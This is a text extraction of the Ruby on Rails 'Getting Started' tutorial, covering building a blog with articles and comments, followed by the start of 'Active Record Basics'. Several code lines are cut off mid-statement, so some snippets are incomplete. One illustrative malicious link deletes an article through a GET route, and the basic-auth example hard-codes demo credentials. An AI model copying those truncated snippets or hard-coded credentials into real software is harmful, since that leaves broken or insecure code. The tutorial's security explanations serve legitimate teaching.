<ActionController::Parameters {"title"=>"First Article!", "text"

This action is now displaying the parameters for the article that are coming
in from the form. However, this isn't really all that helpful. Yes, you can
see the parameters but nothing in particular is being done with them.
5.4 Creating the Article model
Models in Rails use a singular name, and their corresponding database
tables use a plural name. Rails provides a generator for creating models,
which most Rails developers tend to use when creating new models. To

create the new model, run this command in your terminal:

$ bin/rails generate model Article title:string text:text

With that command we told Rails that we want an Article model,

together with a title attribute of type string, and a text attribute of type text.
Those attributes are automatically added to the articles table in the
database and mapped to the Article model.
Rails responded by creating a bunch of files. For now, we're only
interested in app/models/article.rb and
db/migrate/20140120191729_create_articles.rb (your name could be
a bit different). The latter is responsible for creating the database structure,
which is what we'll look at next.
Active Record is smart enough to automatically map column names to
model attributes, which means you don't have to declare attributes inside
Rails models, as that will be done automatically by Active Record.
5.5 Running a Migration
As we've just seen, bin/rails generate model created a database
migration file inside the db/migrate directory. Migrations are Ruby
classes that are designed to make it simple to create and modify database
tables. Rails uses rake commands to run migrations, and it's possible to
undo a migration after it's been applied to your database. Migration
filenames include a timestamp to ensure that they're processed in the order
that they were created.
If you look in the db/migrate/YYYYMMDDHHMMSS_create_articles.rb file
(remember, yours will have a slightly different name), here's what you'll
find:
class CreateArticles < ActiveRecord::Migration[5.0]

def change
create_table :articles do |t|
t.string :title
t.text :text
t.timestamps
end
end
end

The above migration creates a method named change which will be called
when you run this migration. The action defined in this method is also
reversible, which means Rails knows how to reverse the change made by
this migration, in case you want to reverse it later. When you run this
migration it will create an articles table with one string column and a
text column. It also creates two timestamp fields to allow Rails to track
article creation and update times.
For more information about migrations, refer to Rails Database
Migrations.
At this point, you can use a bin/rails command to run the migration:
$ bin/rails db:migrate

Rails will execute this migration command and tell you it created the
Articles table.

== CreateArticles: migrating ==================================

-- create_table(:articles)
-> 0.0019s
== CreateArticles: migrated (0.0020s) =========================

Because you're working in the development environment by default, this

command will apply to the database defined in the development section of

your config/database.yml file. If you would like to execute migrations in

another environment, for instance in production, you must explicitly pass it
when invoking the command: bin/rails db:migrate
RAILS_ENV=production.
5.6 Saving data in the controller
Back in ArticlesController, we need to change the create action to use
the new Article model to save the data in the database. Open
app/controllers/articles_controller.rb and change the create
action to look like this:
def create
@article = Article.new(params[:article])
@article.save
redirect_to @article
end

Here's what's going on: every Rails model can be initialized with its
respective attributes, which are automatically mapped to the respective
database columns. In the first line we do just that (remember that
params[:article] contains the attributes we're interested in). Then,
@article.save is responsible for saving the model in the database.
Finally, we redirect the user to the show action, which we'll define later.
You might be wondering why the A in Article.new is capitalized above,
whereas most other references to articles in this guide have used
lowercase. In this context, we are referring to the class named Article that
is defined in app/models/article.rb. Class names in Ruby must begin
with a capital letter.
As we'll see later, @article.save returns a boolean indicating whether the
article was saved or not.

If you now go to http://localhost:3000/articles/new you'll almost be able to

create an article. Try it! You should get an error that looks like this:

Rails has several security features that help you write secure applications,
and you're running into one of them now. This one is called strong
parameters, which requires us to tell Rails exactly which parameters are
allowed into our controller actions.
Why do you have to bother? The ability to grab and automatically assign
all controller parameters to your model in one shot makes the
programmer's job easier, but this convenience also allows malicious use.
What if a request to the server was crafted to look like a new article form
submit but also included extra fields with values that violated your
application's integrity? They would be 'mass assigned' into your model and
then into the database along with the good stuff - potentially breaking your
application or worse.
We have to whitelist our controller parameters to prevent wrongful mass
assignment. In this case, we want to both allow and require the title and
text parameters for valid use of create. The syntax for this introduces
require and permit. The change will involve one line in the create
action:

@article = Article.new(params.require(:article).permit(:title,

This is often factored out into its own method so it can be reused by
multiple actions in the same controller, for example create and update.
Above and beyond mass assignment issues, the method is often made
private to make sure it can't be called outside its intended context. Here is
the result:
def create
@article = Article.new(article_params)
@article.save
redirect_to @article
end
private
def article_params
params.require(:article).permit(:title, :text)
end

For more information, refer to the reference above and this blog article
about Strong Parameters.
5.7 Showing Articles
If you submit the form again now, Rails will complain about not finding
the show action. That's not very useful though, so let's add the show action
before proceeding.
As we have seen in the output of bin/rails routes, the route for show
action is as follows:
article GET /articles/:id(.:format) articles#show

The special syntax :id tells rails that this route expects an :id parameter,
which in our case will be the id of the article.

As we did before, we need to add the show action in

app/controllers/articles_controller.rb and its respective view.
A frequent practice is to place the standard CRUD actions in each
controller in the following order: index, show, new, edit, create, update
and destroy. You may use any order you choose, but keep in mind that
these are public methods; as mentioned earlier in this guide, they must be
placed before any private or protected method in the controller in order to
work.
Given that, let's add the show action, as follows:
class ArticlesController < ApplicationController
def show
@article = Article.find(params[:id])
end
def new
end
# snippet for brevity

A couple of things to note. We use Article.find to find the article we're

interested in, passing in params[:id] to get the :id parameter from the
request. We also use an instance variable (prefixed with @) to hold a
reference to the article object. We do this because Rails will pass all
instance variables to the view.
Now, create a new file app/views/articles/show.html.erb with the
following content:
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>

With this change, you should finally be able to create new articles. Visit
http://localhost:3000/articles/new and give it a try!

5.8 Listing all articles

We still need a way to list all our articles, so let's do that. The route for this
as per output of bin/rails routes is:
articles GET /articles(.:format) articles#index

Add the corresponding index action for that route inside the
ArticlesController in the app/controllers/articles_controller.rb
file. When we write an index action, the usual practice is to place it as the
first method in the controller. Let's do it:
class ArticlesController < ApplicationController
def index
@articles = Article.all
end
def show
@article = Article.find(params[:id])
end
def new
end

# snippet for brevity

And then finally, add the view for this action, located at
app/views/articles/index.html.erb:
<h1>Listing articles</h1>
<table>
<tr>
<th>Title</th>
<th>Text</th>
</tr>
<% @articles.each do |article| %>
<tr>
<td><%= article.title %></td>
<td><%= article.text %></td>
<td><%= link_to 'Show', article_path(article) %></td>
</tr>
<% end %>
</table>

Now if you go to http://localhost:3000/articles you will see a list of all the

articles that you have created.
5.9 Adding links
You can now create, show, and list articles. Now let's add some links to
navigate through pages.
Open app/views/welcome/index.html.erb and modify it as follows:
<h1>Hello, Rails!</h1>
<%= link_to 'My Blog', controller: 'articles' %>

The link_to method is one of Rails' built-in view helpers. It creates a

hyperlink based on text to display and where to go - in this case, to the

path for articles.
Let's add links to the other views as well, starting with adding this "New
Article" link to app/views/articles/index.html.erb, placing it above
the <table> tag:
<%= link_to 'New article', new_article_path %>

This link will allow you to bring up the form that lets you create a new
article.
Now, add another link in app/views/articles/new.html.erb, underneath
the form, to go back to the index action:
<%= form_for :article, url: articles_path do |f| %>
...
<% end %>
<%= link_to 'Back', articles_path %>

Finally, add a link to the app/views/articles/show.html.erb template to

go back to the index action as well, so that people who are viewing a
single article can go back and view the whole list again:
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>
<strong>Text:</strong>
<%= @article.text %>
</p>
<%= link_to 'Back', articles_path %>

If you want to link to an action in the same controller, you don't need to
specify the :controller option, as Rails will use the current controller by
default.
In development mode (which is what you're working in by default), Rails
reloads your application with every browser request, so there's no need to
stop and restart the web server when a change is made.
5.10 Adding Some Validation
The model file, app/models/article.rb is about as simple as it can get:
class Article < ApplicationRecord
end

There isn't much to this file - but note that the Article class inherits from
ApplicationRecord. ApplicationRecord inherits from
ActiveRecord::Base which supplies a great deal of functionality to your
Rails models for free, including basic database CRUD (Create, Read,
Update, Destroy) operations, data validation, as well as sophisticated
search support and the ability to relate multiple models to one another.
Rails includes methods to help you validate the data that you send to
models. Open the app/models/article.rb file and edit it:
class Article < ApplicationRecord
validates :title, presence: true,
length: { minimum: 5 }
end

These changes will ensure that all articles have a title that is at least five
characters long. Rails can validate a variety of conditions in a model,
including the presence or uniqueness of columns, their format, and the
existence of associated objects. Validations are covered in detail in Active

Record Validations.
With the validation now in place, when you call @article.save on an
invalid article, it will return false. If you open
app/controllers/articles_controller.rb again, you'll notice that we
don't check the result of calling @article.save inside the create action.
If @article.save fails in this situation, we need to show the form back to
the user. To do this, change the new and create actions inside
app/controllers/articles_controller.rb to these:
def new
@article = Article.new
end
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
private
def article_params
params.require(:article).permit(:title, :text)
end

The new action is now creating a new instance variable called @article,
and you'll see why that is in just a few moments.
Notice that inside the create action we use render instead of
redirect_to when save returns false. The render method is used so that
the @article object is passed back to the new template when it is rendered.
This rendering is done within the same request as the form submission,
whereas the redirect_to will tell the browser to issue another request.

If you reload http://localhost:3000/articles/new and try to save an article

without a title, Rails will send you back to the form, but that's not very
useful. You need to tell the user that something went wrong. To do that,
you'll modify app/views/articles/new.html.erb to check for error
messages:
<%= form_for :article, url: articles_path do |f| %>

<% if @article.errors.any? %>

<div id="error_explanation">
<h2>
<%= pluralize(@article.errors.count, "error") %> prohibi
this article from being saved:
</h2>
<ul>
<% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
</div>
<% end %>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
<%= link_to 'Back', articles_path %>

A few things are going on. We check if there are any errors with
@article.errors.any?, and in that case we show a list of all errors with
@article.errors.full_messages.
pluralize is a rails helper that takes a number and a string as its

arguments. If the number is greater than one, the string will be

automatically pluralized.
The reason why we added @article = Article.new in the
ArticlesController is that otherwise @article would be nil in our
view, and calling @article.errors.any? would throw an error.
Rails automatically wraps fields that contain an error with a div with class
field_with_errors. You can define a css rule to make them standout.
Now you'll get a nice error message when saving an article without title
when you attempt to do just that on the new article form
http://localhost:3000/articles/new:

5.11 Updating Articles

We've covered the "CR" part of CRUD. Now let's focus on the "U" part,
updating articles.
The first step we'll take is adding an edit action to the
ArticlesController, generally between the new and create actions, as

shown:
def new
@article = Article.new
end
def edit
@article = Article.find(params[:id])
end
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end

The view will contain a form similar to the one we used when creating
new articles. Create a file called app/views/articles/edit.html.erb
and make it look as follows:
<h1>Editing article</h1>

<%= form_for :article, url: article_path(@article), method: :pat

<% if @article.errors.any? %>

This time we point the form to the update action, which is not defined yet
but will be very soon.
The method: :patch option tells Rails that we want this form to be
submitted via the PATCH HTTP method which is the HTTP method you're
expected to use to update resources according to the REST protocol.
The first parameter of form_for can be an object, say, @article which
would cause the helper to fill in the form with the fields of the object.
Passing in a symbol (:article) with the same name as the instance
variable (@article) also automagically leads to the same behavior. This is
what is happening here. More details can be found in form_for
documentation.
Next, we need to create the update action in
app/controllers/articles_controller.rb. Add it between the create
action and the private method:
def create

@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
def update
@article = Article.find(params[:id])
if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end
private
def article_params
params.require(:article).permit(:title, :text)
end

The new method, update, is used when you want to update a record that
already exists, and it accepts a hash containing the attributes that you want
to update. As before, if there was an error updating the article we want to
show the form back to the user.
We reuse the article_params method that we defined earlier for the
create action.
It is not necessary to pass all the attributes to update. For example, if
@article.update(title: 'A new title') was called, Rails would only
update the title attribute, leaving all other attributes untouched.
Finally, we want to show a link to the edit action in the list of all the
articles, so let's add that now to app/views/articles/index.html.erb to

make it appear next to the "Show" link:

<table>
<tr>
<th>Title</th>
<th>Text</th>
<th colspan="2"></th>
</tr>

<% @articles.each do |article| %>

And we'll also add one to the app/views/articles/show.html.erb

template as well, so that there's also an "Edit" link on an article's page.
Add this at the bottom of the template:
...
<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

And here's how our app looks so far:

5.12 Using partials to clean up duplication in views

Our edit page looks very similar to the new page; in fact, they both share
the same code for displaying the form. Let's remove this duplication by
using a view partial. By convention, partial files are prefixed with an
underscore.
You can read more about partials in the Layouts and Rendering in Rails
guide.
Create a new file app/views/articles/_form.html.erb with the
following content:
<%= form_for @article do |f| %>

<% if @article.errors.any? %>

</div>
<% end %>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

Everything except for the form_for declaration remained the same. The
reason we can use this shorter, simpler form_for declaration to stand in for
either of the other forms is that @article is a resource corresponding to a
full set of RESTful routes, and Rails is able to infer which URI and
method to use. For more information about this use of form_for, see
Resource-oriented style.
Now, let's update the app/views/articles/new.html.erb view to use this
new partial, rewriting it completely:
<h1>New article</h1>
<%= render 'form' %>
<%= link_to 'Back', articles_path %>

Then do the same for the app/views/articles/edit.html.erb view:

<h1>Edit article</h1>

<%= render 'form' %>

<%= link_to 'Back', articles_path %>

5.13 Deleting Articles

We're now ready to cover the "D" part of CRUD, deleting articles from the
database. Following the REST convention, the route for deleting articles as
per output of bin/rails routes is:
DELETE /articles/:id(.:format) articles#destroy

The delete routing method should be used for routes that destroy
resources. If this was left as a typical get route, it could be possible for
people to craft malicious URLs like this:

<a href='http://example.com/articles/1/destroy'>look at this cat

We use the delete method for destroying resources, and this route is
mapped to the destroy action inside
app/controllers/articles_controller.rb, which doesn't exist yet. The
destroy method is generally the last CRUD action in the controller, and
like the other public CRUD actions, it must be placed before any private
or protected methods. Let's add it:
def destroy
@article = Article.find(params[:id])
@article.destroy
redirect_to articles_path
end

The complete ArticlesController in the

app/controllers/articles_controller.rb file should now look like

this:
class ArticlesController < ApplicationController
def index
@articles = Article.all
end
def show
@article = Article.find(params[:id])
end
def new
@article = Article.new
end
def edit
@article = Article.find(params[:id])
end
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
def update
@article = Article.find(params[:id])
if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end
def destroy
@article = Article.find(params[:id])

@article.destroy
redirect_to articles_path
end
private
def article_params
params.require(:article).permit(:title, :text)
end
end

You can call destroy on Active Record objects when you want to delete
them from the database. Note that we don't need to add a view for this
action since we're redirecting to the index action.
Finally, add a 'Destroy' link to your index action template
(app/views/articles/index.html.erb) to wrap everything together.
<h1>Listing Articles</h1>
<%= link_to 'New article', new_article_path %>
<table>
<tr>
<th>Title</th>
<th>Text</th>
<th colspan="3"></th>
</tr>

<% @articles.each do |article| %>

Here we're using link_to in a different way. We pass the named route as
the second argument, and then the options as another argument. The
method: :delete and data: { confirm: 'Are you sure?' } options
are used as HTML5 attributes so that when the link is clicked, Rails will
first show a confirm dialog to the user, and then submit the link with
method delete. This is done via the JavaScript file jquery_ujs which is
automatically included in your application's layout
(app/views/layouts/application.html.erb) when you generated the
application. Without this file, the confirmation dialog box won't appear.

Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on Working

With JavaScript in Rails guide.
Congratulations, you can now create, show, list, update and destroy
articles.
In general, Rails encourages using resources objects instead of declaring
routes manually. For more information about routing, see Rails Routing
from the Outside In.

6 Adding a Second Model

It's time to add a second model to the application. The second model will
handle comments on articles.
6.1 Generating a Model
We're going to see the same generator that we used before when creating
the Article model. This time we'll create a Comment model to hold
reference to an article. Run this command in your terminal:

$ bin/rails generate model Comment commenter:string body:text ar

This command will generate four files:

File

Purpose
Migration to create the
comments table in
db/migrate/20140120201010_create_comments.rb your database (your
name will include a
different timestamp)
app/models/comment.rb
The Comment model
Testing harness for the
test/models/comment_test.rb
comment model
Sample comments for
test/fixtures/comments.yml
use in testing
First, take a look at app/models/comment.rb:
class Comment < ApplicationRecord
belongs_to :article
end

This is very similar to the Article model that you saw earlier. The
difference is the line belongs_to :article, which sets up an Active
Record association. You'll learn a little about associations in the next
section of this guide.
The (:references) keyword used in the bash command is a special data
type for models. It creates a new column on your database table with the
provided model name appended with an _id that can hold integer values.
You can get a better understanding after analyzing the db/schema.rb file
below.
In addition to the model, Rails has also made a migration to create the
corresponding database table:
class CreateComments < ActiveRecord::Migration[5.0]
def change
create_table :comments do |t|
t.string :commenter
t.text :body
t.references :article, foreign_key: true
t.timestamps
end
end
end

The t.references line creates an integer column called article_id, an

index for it, and a foreign key constraint that points to the id column of the
articles table. Go ahead and run the migration:
$ bin/rails db:migrate

Rails is smart enough to only execute the migrations that have not already
been run against the current database, so in this case you will just see:

== CreateComments: migrating ==================================

-- create_table(:comments)
-> 0.0115s
== CreateComments: migrated (0.0119s) =========================

6.2 Associating Models

Active Record associations let you easily declare the relationship between
two models. In the case of comments and articles, you could write out the
relationships this way:
Each comment belongs to one article.
One article can have many comments.
In fact, this is very close to the syntax that Rails uses to declare this
association. You've already seen the line of code inside the Comment model
(app/models/comment.rb) that makes each comment belong to an Article:
class Comment < ApplicationRecord
belongs_to :article
end

You'll need to edit app/models/article.rb to add the other side of the

association:
class Article < ApplicationRecord
has_many :comments
validates :title, presence: true,
length: { minimum: 5 }
end

These two declarations enable a good bit of automatic behavior. For

example, if you have an instance variable @article containing an article,
you can retrieve all the comments belonging to that article as an array
using @article.comments.

For more information on Active Record associations, see the Active

Record Associations guide.
6.3 Adding a Route for Comments
As with the welcome controller, we will need to add a route so that Rails
knows where we would like to navigate to see comments. Open up the
config/routes.rb file again, and edit it as follows:
resources :articles do
resources :comments
end

This creates comments as a nested resource within articles. This is

another part of capturing the hierarchical relationship that exists between
articles and comments.
For more information on routing, see the Rails Routing guide.
6.4 Generating a Controller
With the model in hand, you can turn your attention to creating a matching
controller. Again, we'll use the same generator we used before:
$ bin/rails generate controller Comments

This creates five files and one empty directory:

File/Directory
app/controllers/comments_controller.rb

Purpose
The Comments controller
Views of the controller are
app/views/comments/
stored here
test/controllers/comments_controller_test.rb The test for the controller

app/helpers/comments_helper.rb
app/assets/javascripts/comment.coffee
app/assets/stylesheets/comment.scss

A view helper file

CoffeeScript for the
controller
Cascading style sheet for the
controller

Like with any blog, our readers will create their comments directly after
reading the article, and once they have added their comment, will be sent
back to the article show page to see their comment now listed. Due to this,
our CommentsController is there to provide a method to create comments
and delete spam comments when they arrive.
So first, we'll wire up the Article show template
(app/views/articles/show.html.erb) to let us make a new comment:
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>
<strong>Text:</strong>
<%= @article.text %>
</p>
<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

<%= link_to 'Edit', edit_article_path(@article) %> |

<%= link_to 'Back', articles_path %>

This adds a form on the Article show page that creates a new comment
by calling the CommentsController create action. The form_for call here
uses an array, which will build a nested route, such as
/articles/1/comments.
Let's wire up the create in app/controllers/comments_controller.rb:
class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end
private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end

You'll see a bit more complexity here than you did in the controller for
articles. That's a side-effect of the nesting that you've set up. Each request
for a comment has to keep track of the article to which the comment is
attached, thus the initial call to the find method of the Article model to
get the article in question.
In addition, the code takes advantage of some of the methods available for
an association. We use the create method on @article.comments to
create and save the comment. This will automatically link the comment so
that it belongs to that particular article.
Once we have made the new comment, we send the user back to the

original article using the article_path(@article) helper. As we have

already seen, this calls the show action of the ArticlesController which
in turn renders the show.html.erb template. This is where we want the
comment to show, so let's add that to the
app/views/articles/show.html.erb.
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>
<strong>Text:</strong>
<%= @article.text %>
</p>
<h2>Comments</h2>
<% @article.comments.each do |comment| %>
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>
<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>
<% end %>
<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>

</p>
<% end %>
<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

Now you can add articles and comments to your blog and have them show
up in the right places.

7 Refactoring
Now that we have articles and comments working, take a look at the
app/views/articles/show.html.erb template. It is getting long and
awkward. We can use partials to clean it up.
7.1 Rendering Partial Collections
First, we will make a comment partial to extract showing all the comments
for the article. Create the file app/views/comments/_comment.html.erb
and put the following into it:
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>
<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>

Then you can change app/views/articles/show.html.erb to look like

the following:
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>
<strong>Text:</strong>
<%= @article.text %>
</p>
<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

This will now render the partial in

app/views/comments/_comment.html.erb once for each comment that is
in the @article.comments collection. As the render method iterates over
the @article.comments collection, it assigns each comment to a local
variable named the same as the partial, in this case comment which is then

available in the partial for us to show.

7.2 Rendering a Partial Form
Let us also move that new comment section out to its own partial. Again,
you create a file app/views/comments/_form.html.erb containing:
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>

Then you make the app/views/articles/show.html.erb look like the

following:
<p>
<strong>Title:</strong>
<%= @article.title %>
</p>
<p>
<strong>Text:</strong>
<%= @article.text %>
</p>
<h2>Comments</h2>
<%= render @article.comments %>
<h2>Add a comment:</h2>
<%= render 'comments/form' %>
<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

The second render just defines the partial template we want to render,
comments/form. Rails is smart enough to spot the forward slash in that
string and realize that you want to render the _form.html.erb file in the
app/views/comments directory.
The @article object is available to any partials rendered in the view
because we defined it as an instance variable.

8 Deleting Comments
Another important feature of a blog is being able to delete spam
comments. To do this, we need to implement a link of some sort in the
view and a destroy action in the CommentsController.
So first, let's add the delete link in the
app/views/comments/_comment.html.erb partial:
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>
<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>
<p>
<%= link_to 'Destroy Comment', [comment.article, comment],
method: :delete,
data: { confirm: 'Are you sure?' } %>
</p>

Clicking this new "Destroy Comment" link will fire off a DELETE
/articles/:article_id/comments/:id to our CommentsController,
which can then use this to find the comment we want to delete, so let's add
a destroy action to our controller
(app/controllers/comments_controller.rb):
class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end

def destroy
@article = Article.find(params[:article_id])
@comment = @article.comments.find(params[:id])
@comment.destroy
redirect_to article_path(@article)
end
private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end

The destroy action will find the article we are looking at, locate the
comment within the @article.comments collection, and then remove it
from the database and send us back to the show action for the article.
8.1 Deleting Associated Objects
If you delete an article, its associated comments will also need to be
deleted, otherwise they would simply occupy space in the database. Rails
allows you to use the dependent option of an association to achieve this.
Modify the Article model, app/models/article.rb, as follows:
class Article < ApplicationRecord
has_many :comments, dependent: :destroy
validates :title, presence: true,
length: { minimum: 5 }
end

9 Security
9.1 Basic Authentication
If you were to publish your blog online, anyone would be able to add, edit
and delete articles or delete comments.
Rails provides a very simple HTTP authentication system that will work
nicely in this situation.
In the ArticlesController we need to have a way to block access to the
various actions if the person is not authenticated. Here we can use the
Rails http_basic_authenticate_with method, which allows access to the
requested action if that method allows it.
To use the authentication system, we specify it at the top of our
ArticlesController in app/controllers/articles_controller.rb. In
our case, we want the user to be authenticated on every action except
index and show, so we write that:
class ArticlesController < ApplicationController

http_basic_authenticate_with name: "dhh", password: "secret",

def index
@articles = Article.all
end
# snippet for brevity

We also want to allow only authenticated users to delete comments, so in

the CommentsController (app/controllers/comments_controller.rb)
we write:
class CommentsController < ApplicationController

http_basic_authenticate_with name: "dhh", password: "secret",

def create
@article = Article.find(params[:article_id])
# ...
end
# snippet for brevity

Now if you try to create a new article, you will be greeted with a basic
HTTP Authentication challenge:

Other authentication methods are available for Rails applications. Two

popular authentication add-ons for Rails are the Devise rails engine and
the Authlogic gem, along with a number of others.
9.2 Other Security Considerations
Security, especially in web applications, is a broad and detailed area.
Security in your Rails application is covered in more depth in the Ruby on

Rails Security Guide.

10 What's Next?
Now that you've seen your first Rails application, you should feel free to
update it and experiment on your own.
Remember you don't have to do everything without help. As you need
assistance getting up and running with Rails, feel free to consult these
support resources:
The Ruby on Rails Guides
The Ruby on Rails Tutorial
The Ruby on Rails mailing list
The #rubyonrails channel on irc.freenode.net

11 Configuration Gotchas
The easiest way to work with Rails is to store all external data as UTF-8. If
you don't, Ruby libraries and Rails will often be able to convert your
native data into UTF-8, but this doesn't always work reliably, so you're
better off ensuring that all external data is UTF-8.
If you have made a mistake in this area, the most common symptom is a
black diamond with a question mark inside appearing in the browser.
Another common symptom is characters like "" appearing instead of
"". Rails takes a number of internal steps to mitigate common causes of
these problems that can be automatically detected and corrected. However,
if you have external data that is not stored as UTF-8, it can occasionally
result in these kinds of issues that cannot be automatically detected by
Rails and corrected.
Two very common sources of data that are not UTF-8:
Your text editor: Most text editors (such as TextMate), default to
saving files as UTF-8. If your text editor does not, this can result in
special characters that you enter in your templates (such as ) to
appear as a diamond with a question mark inside in the browser. This
also applies to your i18n translation files. Most editors that do not
already default to UTF-8 (such as some versions of Dreamweaver)
offer a way to change the default to UTF-8. Do so.
Your database: Rails defaults to converting data from your database
into UTF-8 at the boundary. However, if your database is not using
UTF-8 internally, it may not be able to store all characters that your
users enter. For instance, if your database is using Latin-1 internally,
and your user enters a Russian, Hebrew, or Japanese character, the
data will be lost forever once it enters the database. If possible, use
UTF-8 as the internal storage of your database.

Active Record Basics Ruby on

Rails...

1 What is Active Record?

Active Record is the M in MVC - the model - which is the layer of the
system responsible for representing business data and logic. Active Record
facilitates the creation and use of business objects whose data requires
persistent storage to a database. It is an implementation of the Active
Record pattern which itself is a description of an Object Relational
Mapping system.
1.1 The Active Record Pattern
Active Record was described by Martin Fowler in his book Patterns of
Enterprise Application Architecture. In Active Record, objects carry both
persistent data and behavior which operates on that data. Active Record
takes the opinion that ensuring data access logic as part of the object will
educate users of that object on how to write to and read from the database.
1.2 Object Relational Mapping
Object Relational Mapping, commonly referred to as its abbreviation
ORM, is a technique that connects the rich objects of an application to
tables in a relational database management system. Using ORM, the
properties and relationships of the objects in an application can be easily
stored and retrieved from a database without writing SQL statements
directly and with less overall database access code.
1.3 Active Record as an ORM Framework
Active Record gives us several mechanisms, the most important being the
ability to:
Represent models and their data.
Represent associations between these models.

Represent inheritance hierarchies through related models.

Validate models before they get persisted to the database.
Perform database operations in an object-oriented fashion.

2 Convention over Configuration in Active Record

When writing applications using other programming languages or
frameworks, it may be necessary to write a lot of configuration code. This
is particularly true for ORM frameworks in general. However, if you
follow the conventions adopted by Rails, you'll need to write very little
configuration (in some cases no configuration at all) when creating Active
Record models. The idea is that if you configure your applications in the
very same way most of the time then this should be the default way. Thus,
explicit configuration would be needed only in those cases where you can't
follow the standard convention.
2.1 Naming Conventions
By default, Active Record uses some naming conventions to find out how
the mapping between models and database tables should be created. Rails
will pluralize your class names to find the respective database table. So,
for a class Book, you should have a database table called books. The Rails
pluralization mechanisms are very powerful, being capable of pluralizing
(and singularizing) both regular and irregular words. When using class
names composed of two or more words, the model class name should
follow the Ruby conventions, using the CamelCase form, while the table
name must contain the words separated by underscores. Examples:
Database Table - Plural with underscores separating words (e.g.,
book_clubs).
Model Class - Singular with the first letter of each word capitalized
(e.g., BookClub).
Model / Class Table / Schema
Article
LineItem
Deer
Mouse

articles
line_items
deers
mice

Person

people

2.2 Schema Conventions

Active Record uses naming conventions for the columns in database
tables, depending on the purpose of these columns.
Foreign keys - These fields should be named following the pattern
singularized_table_name_id (e.g., item_id, order_id). These are
the fields that Active Record will look for when you create
associations between your models.
Primary keys - By default, Active Record will use an integer column
named id as the table's primary key. When using Active Record
Migrations to create your tables, this column will be automatically
created.
There are also some optional column names that will add additional
features to Active Record instances:
created_at - Automatically gets set to the current date and time

when the record is first created.

updated_at - Automatically gets set to the current date and time
whenever the record is updated.
lock_version - Adds optimistic locking to a model.
type - Specifies that the model uses Single Table Inheritance.
(association_name)_type - Stores the type for polymorphic
associations.
(table_name)_count - Used to cache the number of belonging
objects on associations. For example, a comments_count column in an
Article class that has many instances of Comment will cache the
number of existent comments for each article.
While these column names are optional, they are in fact reserved by Active
Record. Steer clear of reserved keywords unless you want the extra

functionality. For example, type is a reserved keyword used to designate a

table using Single Table Inheritance (STI). If you are not using STI, try an
analogous keyword like "context", that may still accurately describe the
data you are modeling.

3 Creating Active Record Models

It is very easy to create Active Record models. All you have to do is to
subclass the ApplicationRecord class and you're good to go:
class Product < ApplicationRecord
end

This will create a Product model, mapped to a products table at the

database. By doing this you'll also have the ability to map the columns of
each row in that table with the attributes of the instances of your model.
Suppose that the products table was created using an SQL statement like:
CREATE TABLE products (
id int(11) NOT NULL auto_increment,
name varchar(255),
PRIMARY KEY (id)
);

Following the table schema above, you would be able to write code like
the following:
p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"

4 Overriding the Naming Conventions

What if you need to follow a different naming convention or need to use
your Rails application with a legacy database? No problem, you can easily
override the default conventions.
ApplicationRecord inherits from ActiveRecord::Base, which defines a

number of helpful methods. You can use the

ActiveRecord::Base.table_name= method to specify the table name that
should be used:
class Product < ApplicationRecord
self.table_name = "my_products"
end

